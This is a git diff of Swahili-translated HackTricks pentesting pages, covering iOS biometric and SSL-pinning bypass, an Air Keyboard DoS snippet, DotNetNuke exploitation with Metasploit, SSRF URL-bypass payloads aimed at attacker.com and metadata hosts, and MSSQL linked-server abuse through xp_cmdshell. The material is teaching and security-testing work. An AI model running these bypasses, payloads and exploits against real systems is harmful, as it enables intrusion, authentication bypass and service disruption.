Kutekeleza **uthibitishaji wa mitaa** katika programu za iOS kunahusisha matumizi ya **keychain APIs** kuhifadhi data za siri kama vile token za uthibitishaji kwa usalama. Mchakato huu unahakikisha kuwa data inaweza kufikiwa tu na mtumiaji, akitumia nambari ya kifaa au uthibitishaji wa kibaiolojia kama Touch ID.
|
||||
|
||||
Keychain inatoa uwezo wa kuweka vitu na sifa ya `SecAccessControl`, ambayo inazuia ufikiaji wa kipengee hadi mtumiaji athibitishwe kwa mafanikio kupitia Touch ID au nambari ya kifaa. Kipengele hiki ni muhimu kwa kuimarisha usalama.
|
||||
Keychain inatoa uwezo wa kuweka vitu na sifa ya `SecAccessControl`, ambayo inazuia ufikiaji wa kipengee hadi mtumiaji athibitishwe kwa mafanikio kupitia Touch ID au nambari ya kifaa. Kipengele hiki ni muhimu kwa kuboresha usalama.
|
||||
|
||||
Hapa chini kuna mifano ya msimbo katika Swift na Objective-C ikionyesha jinsi ya kuhifadhi na kupata string kutoka kwa keychain, ikitumia vipengele hivi vya usalama. Mifano hii inaonyesha hasa jinsi ya kuanzisha udhibiti wa ufikiaji ili kuhitaji uthibitishaji wa Touch ID na kuhakikisha kuwa data inapatikana tu kwenye kifaa ambacho ilianzishwa, chini ya hali kwamba nambari ya kifaa imewekwa.
|
||||
Hapa chini kuna mifano ya msimbo katika Swift na Objective-C inayoonyesha jinsi ya kuhifadhi na kupata string kutoka kwa keychain, ikitumia vipengele hivi vya usalama. Mifano inaonyesha hasa jinsi ya kuanzisha udhibiti wa ufikiaji ili kuhitaji uthibitishaji wa Touch ID na kuhakikisha kuwa data inapatikana tu kwenye kifaa ambacho ilianzishwa, chini ya hali kwamba nambari ya kifaa imewekwa.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Swift"}}
|
||||
@ -822,7 +822,7 @@ if (status == noErr) {
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
Sasa tunaweza kuomba kipengee kilichohifadhiwa kutoka kwa keychain. Huduma za keychain zitaonyesha kidirisha cha uthibitishaji kwa mtumiaji na kurudisha data au nil kulingana na ikiwa alitoa alama ya vidole inayofaa au la.
|
||||
Sasa tunaweza kuomba kipengee kilichohifadhiwa kutoka kwa keychain. Huduma za keychain zitaonyesha kidirisha cha uthibitishaji kwa mtumiaji na kurudisha data au nil kulingana na kama alitoa alama ya vidole inayofaa au la.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Swift"}}
|
||||
@ -876,7 +876,7 @@ NSLog(@"Something went wrong");
|
||||
|
||||
### Ugunduzi
|
||||
|
||||
Matumizi ya mifumo katika programu yanaweza pia kugunduliwa kwa kuchambua orodha ya maktaba za dinamik zinazoshirikiwa za programu. Hii inaweza kufanywa kwa kutumia `otool`:
|
||||
Matumizi ya mifumo katika programu yanaweza pia kugundulika kwa kuchambua orodha ya maktaba za dinamik zinazoshirikiwa za programu. Hii inaweza kufanywa kwa kutumia `otool`:
|
||||
```bash
|
||||
$ otool -L <AppName>.app/<AppName>
|
||||
```
|
||||
@ -885,15 +885,15 @@ Ikiwa `LocalAuthentication.framework` inatumika katika programu, matokeo yatakuw
|
||||
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
|
||||
/System/Library/Frameworks/Security.framework/Security
|
||||
```
|
||||
Ikiwa `Security.framework` inatumika, ya pili tu itakuwa inionyeshwa.
|
||||
Ikiwa `Security.framework` inatumika, ya pili tu itakuwa inayoonyeshwa.
|
||||
|
||||
### Kudiriki Mfumo wa Uthibitishaji wa Mitaa
|
||||
### Bypass ya Mfumo wa Uthibitishaji wa Mitaa
|
||||
|
||||
#### **Objection**
|
||||
|
||||
Kupitia **Objection Biometrics Bypass**, iliyoko kwenye [hii ukurasa wa GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), mbinu inapatikana ya kushinda mekanizma ya **LocalAuthentication**. Msingi wa njia hii unahusisha kutumia **Frida** kubadilisha kazi ya `evaluatePolicy`, kuhakikisha inatoa matokeo ya `True` kila wakati, bila kujali mafanikio halisi ya uthibitishaji. Hii ni muhimu sana kwa kukwepa michakato ya uthibitishaji wa kibayometriki yenye kasoro.
|
||||
|
||||
Ili kuanzisha hii bypass, amri ifuatayo inatumika:
|
||||
Ili kuanzisha bypass hii, amri ifuatayo inatumika:
|
||||
```bash
|
||||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
|
||||
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
|
||||
@ -958,25 +958,25 @@ return result;
|
||||
console.log("Objective-C Runtime is not available!");
|
||||
}
|
||||
```
|
||||
Ili kuingiza script ya Frida na kupita uthibitisho wa kibaiolojia, amri ifuatayo inatumika:
|
||||
Ili kuingiza script ya Frida na kupita uthibitisho wa kibayometriki, amri ifuatayo inatumika:
|
||||
```bash
|
||||
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
|
||||
```
|
||||
## Ufunuo wa Kazi Nyeti Kupitia IPC
|
||||
## Sensitive Functionality Exposure Through IPC
|
||||
|
||||
### Wasilisho za URI za Kijadi / Deeplinks / Mipango ya Kijadi
|
||||
### Custom URI Handlers / Deeplinks / Custom Schemes
|
||||
|
||||
{{#ref}}
|
||||
ios-custom-uri-handlers-deeplinks-custom-schemes.md
|
||||
{{#endref}}
|
||||
|
||||
### Viungo vya Ulimwengu
|
||||
### Universal Links
|
||||
|
||||
{{#ref}}
|
||||
ios-universal-links.md
|
||||
{{#endref}}
|
||||
|
||||
### Kushiriki UIActivity
|
||||
### UIActivity Sharing
|
||||
|
||||
{{#ref}}
|
||||
ios-uiactivity-sharing.md
|
||||
@ -988,7 +988,7 @@ ios-uiactivity-sharing.md
|
||||
ios-uipasteboard.md
|
||||
{{#endref}}
|
||||
|
||||
### Nyongeza za Programu
|
||||
### App Extensions
|
||||
|
||||
{{#ref}}
|
||||
ios-app-extensions.md
|
||||
@ -1000,13 +1000,13 @@ ios-app-extensions.md
|
||||
ios-webviews.md
|
||||
{{#endref}}
|
||||
|
||||
### Usawazishaji na Uandishi
|
||||
### Serialisation and Encoding
|
||||
|
||||
{{#ref}}
|
||||
ios-serialisation-and-encoding.md
|
||||
{{#endref}}
|
||||
|
||||
## Mawasiliano ya Mtandao
|
||||
## Network Communication
|
||||
|
||||
Ni muhimu kuangalia kwamba hakuna mawasiliano yanayotokea **bila usimbaji** na pia kwamba programu inathibitisha kwa usahihi **cheti cha TLS** cha seva.\
|
||||
Ili kuangalia masuala haya unaweza kutumia proxy kama **Burp**:
|
||||
@ -1015,19 +1015,19 @@ Ili kuangalia masuala haya unaweza kutumia proxy kama **Burp**:
|
||||
burp-configuration-for-ios.md
|
||||
{{#endref}}
|
||||
|
||||
### Ukaguzi wa Jina la Kikoa
|
||||
### Hostname check
|
||||
|
||||
Tatizo moja la kawaida katika kuthibitisha cheti cha TLS ni kuangalia kwamba cheti kimeandikwa na **CA** **iliyoaminika**, lakini **sio kuangalia** kama **jina la kikoa** la cheti ndilo jina la kikoa linalofikiwa.\
|
||||
Ili kuangalia tatizo hili kwa kutumia Burp, baada ya kuamini Burp CA kwenye iPhone, unaweza **kuunda cheti kipya na Burp kwa jina la kikoa tofauti** na kukitumia. Ikiwa programu bado inafanya kazi, basi, kuna kitu kinahatarisha.
|
||||
Tatizo moja la kawaida katika kuthibitisha cheti cha TLS ni kuangalia kwamba cheti kimeandikwa na **CA** **iliyoaminika**, lakini **sio kuangalia** kama **jina la mwenyeji** la cheti ndilo jina la mwenyeji linalofikiwa.\
|
||||
Ili kuangalia tatizo hili kwa kutumia Burp, baada ya kuamini Burp CA kwenye iPhone, unaweza **kuunda cheti kipya na Burp kwa jina la mwenyeji tofauti** na kukitumia. Ikiwa programu bado inafanya kazi, basi, kuna kitu kinahatarisha.
|
||||
|
||||
### Ufunguo wa Cheti
|
||||
### Certificate Pinning
|
||||
|
||||
Ikiwa programu inatumia SSL Pinning kwa usahihi, basi programu itafanya kazi tu ikiwa cheti ni kile kinachotarajiwa. Wakati wa kujaribu programu **hii inaweza kuwa tatizo kwani Burp itatoa cheti yake mwenyewe.**\
|
||||
Ili kupita ulinzi huu ndani ya kifaa kilichovunjwa, unaweza kufunga programu [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) au kufunga [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
|
||||
|
||||
Unaweza pia kutumia **objection's** `ios sslpinning disable`
|
||||
|
||||
## Mambo Mengine
|
||||
## Misc
|
||||
|
||||
- Katika **`/System/Library`** unaweza kupata mifumo iliyosakinishwa kwenye simu inayotumiwa na programu za mfumo
|
||||
- Programu zilizowekwa na mtumiaji kutoka Duka la Programu ziko ndani ya **`/User/Applications`**
|
||||
@ -1036,21 +1036,21 @@ Unaweza pia kutumia **objection's** `ios sslpinning disable`
|
||||
- Ndani ya folda ya programu iliyosakinishwa (**`/User/Applications/<APP ID>/`**) unaweza kupata faili za kuvutia:
|
||||
- **`iTunesArtwork`**: Ikoni inayotumiwa na programu
|
||||
- **`iTunesMetadata.plist`**: Taarifa ya programu inayotumiwa katika Duka la Programu
|
||||
- **`/Library/*`**: Inashikilia mapendeleo na cache. Katika **`/Library/Cache/Snapshots/*`** unaweza kupata picha iliyofanywa kwa programu kabla ya kuhamishwa kwenye background.
|
||||
- **`/Library/*`**: Inashikilia mapendeleo na cache. Katika **`/Library/Cache/Snapshots/*`** unaweza kupata picha iliyofanywa kwa programu kabla ya kuhamasisha kwenye background.
|
||||
|
||||
### Hot Patching/Kuongeza Sasisho
|
||||
### Hot Patching/Enforced Updateing
|
||||
|
||||
Wakuu wa programu wanaweza kwa mbali **kurekebisha usakinishaji wote wa programu yao mara moja** bila ya kuwasilisha tena programu hiyo kwenye Duka la Programu na kusubiri hadi idhini ipatikane.\
|
||||
Kwa kusudi hili mara nyingi hutumia [**JSPatch**](https://github.com/bang590/JSPatch)**.** Lakini kuna chaguzi nyingine pia kama [Siren](https://github.com/ArtSabintsev/Siren) na [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
|
||||
**Huu ni mfumo hatari ambao unaweza kutumiwa vibaya na SDK za wahalifu wa tatu, kwa hivyo inashauriwa kuangalia ni njia gani inatumika kwa sasisho za kiotomatiki (ikiwa zipo) na kujaribu.** Unaweza kujaribu kupakua toleo la awali la programu kwa kusudi hili.
|
||||
**Hii ni mbinu hatari ambayo inaweza kutumika vibaya na SDK za wahusika wengine, kwa hivyo inashauriwa kuangalia ni njia gani inatumika kwa sasisho za kiotomatiki (ikiwa zipo) na kujaribu.** Unaweza kujaribu kupakua toleo la awali la programu kwa kusudi hili.
|
||||
|
||||
### Wahusika wa Tatu
|
||||
### Third Parties
|
||||
|
||||
Changamoto kubwa na **SDK za wahusika wa tatu** ni **ukosefu wa udhibiti wa kina** juu ya kazi zao. Wakuu wa programu wanakabiliwa na chaguo: ama kuunganisha SDK na kukubali vipengele vyake vyote, ikiwa ni pamoja na hatari za usalama na wasiwasi wa faragha, au kuacha faida zake kabisa. Mara nyingi, wakuu wa programu hawawezi kurekebisha hatari ndani ya SDK hizi wenyewe. Zaidi ya hayo, kadri SDK zinavyopata uaminifu ndani ya jamii, baadhi zinaweza kuanza kuwa na malware.
|
||||
Changamoto kubwa na **SDK za wahusika wengine** ni **ukosefu wa udhibiti wa kina** juu ya kazi zao. Wakuu wa programu wanakabiliwa na chaguo: ama kuunganisha SDK na kukubali vipengele vyake vyote, ikiwa ni pamoja na hatari za usalama na wasiwasi wa faragha, au kuacha faida zake kabisa. Mara nyingi, wakuu wa programu hawawezi kurekebisha hatari ndani ya SDK hizi wenyewe. Zaidi ya hayo, kadri SDK zinavyopata uaminifu ndani ya jamii, baadhi zinaweza kuanza kuwa na malware.
|
||||
|
||||
Huduma zinazotolewa na SDK za wahusika wa tatu zinaweza kujumuisha ufuatiliaji wa tabia za mtumiaji, kuonyesha matangazo, au kuboresha uzoefu wa mtumiaji. Hata hivyo, hii inaingiza hatari kwani wakuu wa programu wanaweza kutokuwa na ufahamu kamili wa msimbo unaotekelezwa na maktaba hizi, na kusababisha hatari za faragha na usalama. Ni muhimu kupunguza taarifa zinazoshirikiwa na huduma za wahusika wa tatu kwa kile kinachohitajika na kuhakikisha kwamba hakuna data nyeti inayofichuliwa.
|
||||
Huduma zinazotolewa na SDK za wahusika wengine zinaweza kujumuisha ufuatiliaji wa tabia za mtumiaji, kuonyesha matangazo, au kuboresha uzoefu wa mtumiaji. Hata hivyo, hii inaingiza hatari kwani wakuu wa programu wanaweza kutokuwa na ufahamu kamili wa msimbo unaotekelezwa na maktaba hizi, na kusababisha hatari za faragha na usalama. Ni muhimu kupunguza taarifa zinazoshirikiwa na huduma za wahusika wengine hadi zile zinazohitajika na kuhakikisha kwamba hakuna data nyeti inayofichuliwa.
|
||||
|
||||
Utekelezaji wa huduma za wahusika wa tatu kawaida huja katika aina mbili: maktaba huru au SDK kamili. Ili kulinda faragha ya mtumiaji, data yoyote inayoshirikiwa na huduma hizi inapaswa kuwa **isiyojulikana** ili kuzuia kufichuliwa kwa Taarifa za Kibinafsi (PII).
|
||||
Utekelezaji wa huduma za wahusika wengine kawaida huja katika aina mbili: maktaba huru au SDK kamili. Ili kulinda faragha ya mtumiaji, data yoyote inayoshirikiwa na huduma hizi inapaswa kuwa **isiyojulikana** ili kuzuia kufichuliwa kwa Taarifa za Kibinafsi (PII).
|
||||
|
||||
Ili kubaini maktaba ambazo programu inatumia, amri ya **`otool`** inaweza kutumika. Chombo hiki kinapaswa kukimbizwa dhidi ya programu na kila maktaba iliyoshirikiwa inayotumiwa ili kugundua maktaba za ziada.
|
||||
```bash
|
||||
@ -1090,4 +1090,5 @@ air-keyboard-remote-input-injection.md
|
||||
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||||
- [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
Toleo la iOS la programu ya kibiashara "Air Keyboard" (App Store ID 6463187929) linafungua **huduma ya TCP isiyo na usalama kwenye bandari 8888** inayokubali fremu za funguo **bila uthibitisho wowote**. Kila kifaa kwenye mtandao wa Wi-Fi sawa kinaweza kuungana na bandari hiyo na kuingiza pembejeo za kibodi zisizo na mipaka kwenye simu ya mwathirika, na kufikia **kukamata mwingiliano wa mbali kabisa**.
|
||||
|
||||
Toleo la Android linasikiliza kwenye **bandari 55535**. Linafanya mkono dhaifu wa AES-ECB, lakini takataka iliyoundwa inasababisha **kosa lisiloshughulikiwa katika utaratibu wa ufichuzi wa OpenSSL**, ikisababisha huduma ya nyuma kuanguka (**DoS**).
|
||||
Toleo la Android linalofanana linakusikiliza kwenye **bandari 55535**. Linafanya mkono dhaifu wa AES-ECB, lakini takataka iliyoundwa inasababisha **kosa lisiloshughulikiwa katika utaratibu wa ufichuzi wa OpenSSL**, ikisababisha huduma ya nyuma kuanguka (**DoS**).
|
||||
|
||||
## 1. Service Discovery
|
||||
|
||||
@ -70,9 +70,9 @@ socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
## 6. Njia za Kupunguza na Wazo za Kuimarisha
|
||||
|
||||
* Kamwe usifichue huduma zisizo na uthibitisho kwenye simu ya mkononi.
|
||||
* Pata siri za kifaa kila wakati wakati wa kuanzisha na uziangalia kabla ya kushughulikia ingizo.
|
||||
* Pata siri za kifaa kila wakati wakati wa kuanzisha na uziangaliye kabla ya kushughulikia ingizo.
|
||||
* Fungamanisha msikilizaji na `127.0.0.1` na tumia usafirishaji wa siri, unaothibitishwa kwa pamoja (mfano, TLS, Noise) kwa udhibiti wa mbali.
|
||||
* Gundua bandari zisizotarajiwa wazi wakati wa mapitio ya usalama wa simu (`netstat`, `lsof`, `frida-trace` kwenye `socket()` n.k.).
|
||||
* Gundua bandari zisizotarajiwa zilizo wazi wakati wa mapitio ya usalama wa simu (`netstat`, `lsof`, `frida-trace` kwenye `socket()` n.k.).
|
||||
* Kama mtumiaji wa mwisho: ondoa Air Keyboard au itumie tu kwenye mitandao ya Wi-Fi iliyothibitishwa na iliyotengwa.
|
||||
|
||||
## Karatasi ya Udhibiti (Pentesters)
|
||||
|
||||
@ -29,7 +29,7 @@ msf> set RHOSTS <target>
|
||||
msf> set LHOST <attacker_ip>
|
||||
msf> run
|
||||
```
|
||||
Moduli inachagua kiotomatiki njia sahihi kwa toleo zilizorekebishwa lakini bado zina udhaifu (CVE-2018-15811/15812/18325/18326). Utekelezaji unafanya kazi **bila uthibitisho** kwenye 7.x–9.1.x na kwa akaunti ya *imehakikishwa* ya chini ya haki kwenye 9.2.x+.
|
||||
Moduli inachagua kiotomatiki njia sahihi kwa toleo zilizorekebishwa lakini bado zina udhaifu (CVE-2018-15811/15812/18325/18326). Utekelezaji unafanya kazi **bila uthibitisho** kwenye 7.x–9.1.x na kwa akaunti ya *hakiki* ya chini ya mamlaka kwenye 9.2.x+.
|
||||
|
||||
### 2. Server-Side Request Forgery (CVE-2025-32372)
|
||||
*Toleo zilizoathirika < 9.13.8 – Patch iliyotolewa Aprili 2025*
|
||||
@ -51,7 +51,7 @@ The request is triggered in the background; monitor your listener for callbacks.
|
||||
Maudhui yaliyoundwa kwa njia maalum yanaweza kufanya DNN ijitahidi kupata rasilimali kwa kutumia **UNC path** kama `\\attacker\share\img.png`. Windows itafanya mazungumzo ya NTLM kwa furaha, ikivuja hash za akaunti ya seva kwa mshambuliaji. Pandisha toleo hadi **10.0.1** au zima SMB ya nje kwenye firewall.
|
||||
|
||||
### 4. IP Filter Bypass (CVE-2025-52487)
|
||||
Ikiwa wasimamizi wanategemea *Host/IP Filters* kwa ulinzi wa lango la admin, fahamu kwamba toleo la kabla ya **10.0.1** linaweza kupitishwa kwa kubadilisha `X-Forwarded-For` katika hali ya reverse-proxy.
|
||||
Ikiwa wasimamizi wanategemea *Host/IP Filters* kwa ulinzi wa lango la admin, fahamu kwamba matoleo ya kabla ya **10.0.1** yanaweza kupitishwa kwa kubadilisha `X-Forwarded-For` katika hali ya reverse-proxy.
|
||||
|
||||
---
|
||||
## Post-Authentication to RCE
|
||||
@ -74,7 +74,7 @@ xp_cmdshell 'whoami';
|
||||
|
||||
---
|
||||
## Kuinua Haki kwenye Windows
|
||||
Mara tu utekelezaji wa msimbo unapoanzishwa kama **IIS AppPool\<Site>**, mbinu za kawaida za kuinua haki za Windows zinatumika. Ikiwa sanduku lina udhaifu unaweza kutumia:
|
||||
Mara tu utekelezaji wa msimbo unapoonekana kama **IIS AppPool\<Site>**, mbinu za kawaida za kuinua haki za Windows zinatumika. Ikiwa sanduku lina udhaifu unaweza kutumia:
|
||||
|
||||
* **PrintSpoofer** / **SpoolFool** kutumia *SeImpersonatePrivilege*.
|
||||
* **Juicy/Sharp Potatoes** kutoroka *Service Accounts*.
|
||||
@ -90,6 +90,6 @@ Mara tu utekelezaji wa msimbo unapoanzishwa kama **IIS AppPool\<Site>**, mbinu z
|
||||
|
||||
## Marejeleo
|
||||
|
||||
* Metasploit `dnn_cookie_deserialization_rce` moduli ya hati – maelezo ya vitendo ya RCE isiyo na uthibitisho (GitHub).
|
||||
* Metasploit `dnn_cookie_deserialization_rce` module documentation – maelezo ya vitendo ya RCE isiyo na uthibitisho (GitHub).
|
||||
* GitHub Security Advisory GHSA-3f7v-qx94-666m – 2025 SSRF bypass & taarifa za patch.
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -109,7 +109,7 @@ attacker。com
|
||||
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
|
||||
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
|
||||
```
|
||||
### Kichanganyiko cha Kikoa
|
||||
### Kutoeleweka kwa Kikoa
|
||||
```bash
|
||||
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
|
||||
# Try replacing https by http
|
||||
@ -146,7 +146,7 @@ next={domain}&next=attacker.com
|
||||
```
|
||||
### Paths and Extensions Bypass
|
||||
|
||||
Ikiwa unahitajika kwamba URL lazima ikamilike kwa njia au kiambatisho, au lazima iwe na njia unaweza kujaribu moja ya bypass hizi:
|
||||
Ikiwa unahitajika kwamba URL lazima iishe kwa njia au kiendelezi, au lazima iwe na njia unaweza kujaribu moja ya bypass zifuatazo:
|
||||
```
|
||||
https://metadata/vulerable/path#/expected/path
|
||||
https://metadata/vulerable/path#.extension
|
||||
@ -158,7 +158,7 @@ Chombo [**recollapse**](https://github.com/0xacb/recollapse) kinaweza kuunda tof
|
||||
|
||||
### Automatic Custom Wordlists
|
||||
|
||||
Angalia [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) kutoka portswigger ambapo unaweza kuingiza mwenyeji anayekubalika na wa shambulizi na itaunda orodha ya URLs za kujaribu kwako. Pia inazingatia ikiwa unaweza kutumia URL hiyo katika parameter, katika kichwa cha Host au katika kichwa cha CORS.
|
||||
Angalia [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) kutoka portswigger ambapo unaweza kuingiza mwenyeji anayekubalika na wa shambulio na itaunda orodha ya URLs za kujaribu kwako. Pia inazingatia ikiwa unaweza kutumia URL hiyo katika parameter, katika kichwa cha Host au katika kichwa cha CORS.
|
||||
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
|
||||
@ -193,7 +193,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
||||
|
||||
### Blackslash-trick
|
||||
|
||||
The _backslash-trick_ inatumia tofauti kati ya [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) na [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Wakati RFC3986 ni mfumo wa jumla wa URIs, WHATWG ni maalum kwa URLs za wavuti na inakubaliwa na vivinjari vya kisasa. Tofauti kuu iko katika kutambuliwa kwa backslash (`\`) kama sawa na forward slash (`/`) katika kiwango cha WHATWG, ikihusisha jinsi URLs zinavyosomwa, hasa ikionyesha mpito kutoka kwa jina la mwenyeji hadi njia katika URL.
|
||||
The _backslash-trick_ inatumia tofauti kati ya [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) na [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Wakati RFC3986 ni mfumo wa jumla wa URIs, WHATWG ni maalum kwa URLs za wavuti na inakubaliwa na vivinjari vya kisasa. Tofauti kuu iko katika kutambuliwa kwa backslash (`\`) kama sawa na forward slash (`/`) katika kiwango cha WHATWG, ikihusisha jinsi URLs zinavyopaswa, hasa ikionyesha mpito kutoka kwa jina la mwenyeji hadi njia katika URL.
|
||||
|
||||

|
||||
|
||||
@ -216,17 +216,17 @@ http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)
|
||||
```
|
||||
Ikiwa programu lengwa inathibitisha kwamba mwenyeji si `fe80::1` lakini inasimama kuchambua kwenye `%`, inaweza kutafsiri ombi hilo kwa makosa kama la nje. Daima sanidisha anwani **kabla** ya uamuzi wowote wa usalama au uondoe kitambulisho cha eneo cha hiari kabisa.
|
||||
|
||||
### CVE za Hivi Karibuni za Uchambuzi wa Maktaba (2022–2025)
|
||||
### CVE za Hivi Karibuni za Kuchambua Maktaba (2022–2025)
|
||||
|
||||
Idadi ya mifumo maarufu imekumbwa na matatizo ya kutofautiana kwa jina la mwenyeji ambayo yanaweza kutumiwa kwa SSRF mara tu uthibitishaji wa URL unapozidiwa na hila zilizoorodheshwa hapo juu:
|
||||
Idadi ya mifumo maarufu imekumbwa na matatizo ya kutofautisha jina la mwenyeji ambayo yanaweza kutumiwa kwa SSRF mara tu uthibitishaji wa URL unapozidiwa kwa hila zilizoorodheshwa hapo juu:
|
||||
|
||||
| Mwaka | CVE | Kipengele | Muhtasari wa Hitilafu | PoC ya Chini |
|
||||
|-------|-----|-----------|-----------------------|---------------|
|
||||
| 2024 | CVE-2024-22243 / ‑22262 | Spring `UriComponentsBuilder` | `[` hairuhusiwi katika sehemu ya *userinfo*, hivyo `https://example.com\[@internal` inachambuliwa kama mwenyeji `example.com` na Spring lakini kama `internal` na vivinjari, ikiruhusu uelekeo wazi & SSRF wakati orodha za ruhusa za mwenyeji zinapotumika. Sasisha hadi Spring 5.3.34 / 6.0.19 / 6.1.6+. |
|
||||
| 2023 | CVE-2023-27592 | **urllib3** <1.26.15 | Kichanganyiko cha backslash kiliruhusu `http://example.com\\@169.254.169.254/` kupita vichujio vya mwenyeji vinavyogawanya kwenye `@`. |
|
||||
| 2022 | CVE-2022-3602 | OpenSSL | Uthibitishaji wa jina la mwenyeji umepuuziliwa mbali wakati jina linapokuwa na kiambishi cha `.` (kuchanganyikiwa kwa kikoa kisichokuwa na nukta). |
|
||||
|------|-----|-----------|--------------|-------------|
|
||||
| 2024 | CVE-2024-22243 / ‑22262 | Spring `UriComponentsBuilder` | `[` hairuhusiwi katika sehemu ya *userinfo*, hivyo `https://example.com\[@internal` inachambuliwa kama mwenyeji `example.com` na Spring lakini kama `internal` na vivinjari, ikiruhusu uelekeo wazi & SSRF wakati orodha za ruhusa za mwenyeji zinapotumika. Sasisha hadi Spring 5.3.34 / 6.0.19 / 6.1.6+. |
|
||||
| 2023 | CVE-2023-27592 | **urllib3** <1.26.15 | Kichanganyiko cha backslash kiliruhusu `http://example.com\\@169.254.169.254/` kupita vichujio vya mwenyeji vinavyogawanya kwenye `@`. |
|
||||
| 2022 | CVE-2022-3602 | OpenSSL | Uthibitishaji wa jina la mwenyeji umepuuziliwa mbali wakati jina linapokuwa na kiambishi cha `.` (kuchanganyikiwa kwa kikoa kisichokuwa na nukta). |
|
||||
|
||||
Unapokuwa unategemea wachambuzi wa URL wa upande wa tatu, **linganisha mwenyeji ulio kanonikishwa uliopewa na maktaba unayoamini na mfuatano wa asili uliopewa na mtumiaji** ili kugundua makundi haya ya matatizo.
|
||||
Unapokuwa unategemea wachambuzi wa URL wa upande wa tatu, **linganisha mwenyeji ulio kanonikishwa uliopewa na maktaba unayoamini na mfuatano wa raw uliopewa na mtumiaji** ili kugundua makundi haya ya matatizo.
|
||||
|
||||
### Msaada wa Uundaji wa Payload (2024+)
|
||||
|
||||
|
||||
@ -7,7 +7,7 @@
|
||||
|
||||
### Python
|
||||
|
||||
Zana ya [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) inategemea impacket, na pia inaruhusu uthibitisho kwa kutumia tiketi za kerberos, na kushambulia kupitia minyororo ya viungo.
|
||||
Zana ya [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) inategemea impacket, na pia inaruhusu kuingia kwa kutumia tiketi za kerberos, na kushambulia kupitia minyororo ya viungo.
|
||||
|
||||
<figure><img src="https://raw.githubusercontent.com/ScorpionesLabs/MSSqlPwner/main/assets/interractive.png"></figure>
|
||||
```shell
|
||||
@ -176,9 +176,9 @@ Check in the page mentioned in the **following section how to do this manually.*
|
||||
|
||||
## MSSQL Trusted Links
|
||||
|
||||
Ikiwa mfano wa MSSQL unaminiwa (kiungo cha database) na mfano mwingine wa MSSQL. Ikiwa mtumiaji ana mamlaka juu ya database iliyoaminiwa, ataweza **kutumia uhusiano wa kuaminiana kutekeleza maswali pia katika mfano mwingine**. Hii inategemea inaweza kuunganishwa na kwa wakati fulani mtumiaji anaweza kupata database iliyo na mipangilio isiyo sahihi ambapo anaweza kutekeleza amri.
|
||||
Ikiwa mfano wa MSSQL unaminiwa (kiungo cha database) na mfano mwingine wa MSSQL. Ikiwa mtumiaji ana mamlaka juu ya database iliyoaminika, ataweza **kutumia uhusiano wa kuaminiana kutekeleza maswali pia katika mfano mwingine**. Hii inategemea inaweza kuunganishwa na kwa wakati fulani mtumiaji anaweza kupata database isiyo na usanidi mzuri ambapo anaweza kutekeleza amri.
|
||||
|
||||
**Viungo kati ya databases vinafanya kazi hata katika uaminifu wa msitu.**
|
||||
**Viungo kati ya databases vinafanya kazi hata kupitia uaminifu wa msitu.**
|
||||
|
||||
### Powershell Abuse
|
||||
```bash
|
||||
@ -220,7 +220,7 @@ inject-assembly 4704 ../SharpCollection/SharpSQLPwn.exe /modules:LIC /linkedsql:
|
||||
```
|
||||
### Metasploit
|
||||
|
||||
Unaweza kwa urahisi kuangalia viungo vinavyotegemewa kwa kutumia metasploit.
|
||||
Unaweza kwa urahisi kuangalia viungo vya kuaminika ukitumia metasploit.
|
||||
```bash
|
||||
#Set username, password, windows auth (if using AD), IP...
|
||||
msf> use exploit/windows/mssql/mssql_linkcrawler
|
||||
@ -228,11 +228,11 @@ msf> use exploit/windows/mssql/mssql_linkcrawler
|
||||
```
|
||||
Kumbuka kwamba metasploit itajaribu kutumia tu kazi ya `openquery()` katika MSSQL (hivyo, ikiwa huwezi kutekeleza amri na `openquery()` utahitaji kujaribu njia ya `EXECUTE` **kwa mikono** kutekeleza amri, angalia zaidi hapa chini.)
|
||||
|
||||
### Mikono - Openquery()
|
||||
### Manual - Openquery()
|
||||
|
||||
